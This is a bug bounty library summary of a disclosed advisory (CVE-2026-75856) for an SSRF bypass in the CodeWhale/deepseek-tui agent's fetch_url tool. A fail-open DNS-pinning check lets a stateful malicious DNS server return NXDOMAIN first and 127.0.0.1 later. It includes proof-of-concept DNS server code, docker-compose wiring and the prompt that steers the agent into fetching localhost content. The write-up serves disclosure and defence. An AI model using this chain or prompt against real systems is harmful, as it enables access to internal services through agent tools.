# CodeWhale: SSRF‌ bypass - TOCTOU on DNS failure for DNS pinning

CodeWhale's fetch_url DNS-pinning lets a malicious DNS server fail the check query then resolve to 127.0.0.1 on use, bypassing SSRF protection.

- Payout: Research
- Severity: critical
- Program: CodeWhale
- Found by: JafarAkhondali
- Disclosed: 2026-09-04
- CVE: CVE-2026-75856
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6v2g-fpxh-pmmh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6v2g-fpxh-pmmh
- Tags: area:ai domain:ai domain:network impact:internal-access kind:research platform:ghsa sev:critical tech:llm technique:race-window technique:source-review vuln:misconfiguration vuln:race-condition vuln:ssrf

**Target:** fetch_url tool DNS resolution / SSRF guard in deepseek-tui and codewhale TUI
**Root cause:** When the DNS-pinning check fails to resolve, the code continues assuming the subsequent request will also fail; the actual fetch re-resolves the hostname, so a DNS server that fails the check and succeeds on use yields a connection to an attacker-chosen IP.
**Steps:**
1. Run attacker-controlled DNS server that returns NXDOMAIN for the first A/AAAA queries of `mydomain.com` and `127.0.0.1` on later ones (PoC `dns_resolver.py` with MAX_FAIL=2, MAX_SUCCESS=2).
2. Point the CodeWhale container's resolver at that DNS server (`dns: 10.0.1.2` in docker-compose).
3. Prompt the agent: `read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output`.
4. DNS-pinning check query fails (Time of Check), code continues; the fetch re-resolves to 127.0.0.1 (Time of Use).
5. Start `python3 -m http.server 80` in the container to confirm the response body from localhost is returned.
**How found:** Code reading of the DNS-pinning section in fetch_url.rs showed the failure path lets execution continue; hypothesis that check and use perform separate resolutions, confirmed with a stateful DNS server.
**Exploitation:** Attacker supplies a hostname and controls its DNS; the pinning check is failed deliberately so the guard treats resolution failure as benign, then the real request resolves to loopback/internal IP and the fetched content is returned to the attacker through the agent.
**Insight:** When a guard resolves a hostname to pin an IP, verify the same resolved address is used for the actual connection; a fail-open path on resolution error plus a second lookup is a TOCTOU. Test with a stateful DNS server that alternates NXDOMAIN and answers.

## Proof of concept (copied exactly from the original report)

**Malicious DNS server failing first queries then resolving to localhost**

```
failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2

def handle_overrides(query: DNSRecord) -> DNSRecord | None:
    global failer
    """Return hardcoded A records for specific names (split-horizon / local dev)."""
    overrides: dict[str, str] = {
        "myapp.local.":     "127.0.0.1",
        "devserver.local.": "192.168.1.100",
        "mydomain.com.":    "127.0.0.1",
    }
    qname = str(query.q.qname)
    qtype = QTYPE[query.q.qtype]

    if qname in overrides and qtype == "A":
        failer += 1
        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle
        should_fail = cycle_pos < MAX_FAIL

        print(f"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")

        if should_fail:
            reply = query.reply()
            reply.header.rcode = 3
            reply.header.ra = 0
            return reply

        ip = overrides[qname]
        print(f"  [OVERRIDE] {qname} → {ip}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
        reply.header.ra = 0
        return reply

    return None
```

**Docker compose wiring agent to attacker DNS**

```
services:
  dns-resolver:
    build: dnser
    container_name: dns-resolver
    restart: unless-stopped
    networks:
      dns-net:
        ipv4_address: 10.0.1.2

  a:
    image: ghcr.io/hmbown/deepseek-tui:latest
    container_name: tui
    environment:
      DEEPSEEK_API_KEY: sk-
    stdin_open: true
    tty: true
    dns: 10.0.1.2
    networks:
      - dns-net
    depends_on:
      - dns-resolver
    sysctls:
      net.ipv6.conf.all.disable_ipv6: 1
```

**Prompt triggering fetch_url SSRF**

```
Prompt: `read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output`
The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran `python3 -m http.server 80` as root to make sure the request can actually read content.
```

